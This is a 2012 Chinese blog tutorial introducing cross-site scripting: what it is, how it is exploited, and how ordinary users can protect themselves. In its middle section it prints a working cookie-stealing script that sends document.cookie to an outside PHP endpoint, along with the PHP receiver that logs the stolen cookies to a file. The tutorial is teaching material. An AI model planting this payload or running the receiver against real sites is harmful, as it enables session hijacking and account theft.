初识XSS脚本攻击漏洞的利用和防范

发表于 2012-10-12 11:35 | 浏览 431

谈到XSS漏洞攻击,可能很多童鞋或多或少的晓得一些基础的东西。这节教程菲菲就来带大家一块儿了解一下关于xss漏洞脚本攻防方面的技巧。当然老鸟飞过,不感兴趣的就算了吧。好,我们就从最最基本的开始学习。

一、什么是XSS攻击?初识概念

  XSS其实就是跨站脚本攻击的英文缩写,攻击者利用WEB平台的漏洞,将恶意的客户端脚本代码(如 Javascript )通过各种“巧妙”的方式植入正常的网页中,当受害者访问此恶意页面后,就会执行相应的恶意代码,从而达到攻击者的某种目的,比如盗取浏览器会话、cookie信息等等。

二、XSS漏洞如何利用?了解危害

  说到xss攻击,其实菲菲博客个人感觉利用最多的就是来盗取用户帐号,包括QQ账户、网银支付号等等(比如劫持受害者的QQ cookie绕过验证);在就是可以用来网页挂马,甚至在受害者电脑留下后门程序;还有更严重的是骇客可以编写复杂的脚本用来做非法DDos网络攻击等等。可见xss攻击的危害还是非常大的!

  如果来举个简单的例子,或许大家就可以更容易理解了。假设在某个知名网站存在漏洞的页面中成功嵌入了如下js脚本(实际应用中可以嵌入外部js文件,这里仅做演示,实际不存在):
<script>document.write("<img src='http://www.feifeiboke.com/xss.php?c=" + escape(document.cookie) + "' />");</script>

其中xss.php也就是cookie接收端,我们可以写为:
<?php
$co = $_GET['c'];
$fo = fopen('1.html', 'a');
fwrite($fo, 'Cookie: ' . $co . '<br>');
fclose($fo);
?>
这样当受害者访问并成功执行了我们构造的恶意脚本后,对方的cookie信息就会自动保存在1.html中。获得了对方的cookie,也就相当于拿到了他的账户管理权限。

三、XSS跨站漏洞的防范和应对

  其实xss漏洞的危害远比我们想象中的要严重的多,包括很多知名站点腾讯、百度、新浪微博等等都曾爆出过xss漏洞,应该说是防不胜防啊。当然及时修复web漏洞/避免出现漏洞是这些网站安全工程师做的事儿,那么从我们用户的角度来说的话如何防范xss漏洞对自己造成的影响呢?

  1. 不要访问别人发来的可疑网址链接,例如某些网址后面有一大串编码的参数(很可能是坏人精心构造含有恶意脚本的页面),还有就是短网址,你是直接看不出对方的真实网站链接的,所以访问一定要谨慎!

  2. 使用最新版本的浏览器,比如IE8内核的浏览器,就自带有XSS筛选器的功能(默认就是启用状态),这虽不能完全解决xss的危害,但是对于防范一些xss跨站脚本还是有一定的效果的。

  3. 提高安全意识,一些重要的帐号使用完毕后(比如网银/支付账户)要点击“退出”登录状态,而不是直接关闭网页。【菲菲博客·原创教程】

(原创文章版权所有,如需转载请注明原文链接!)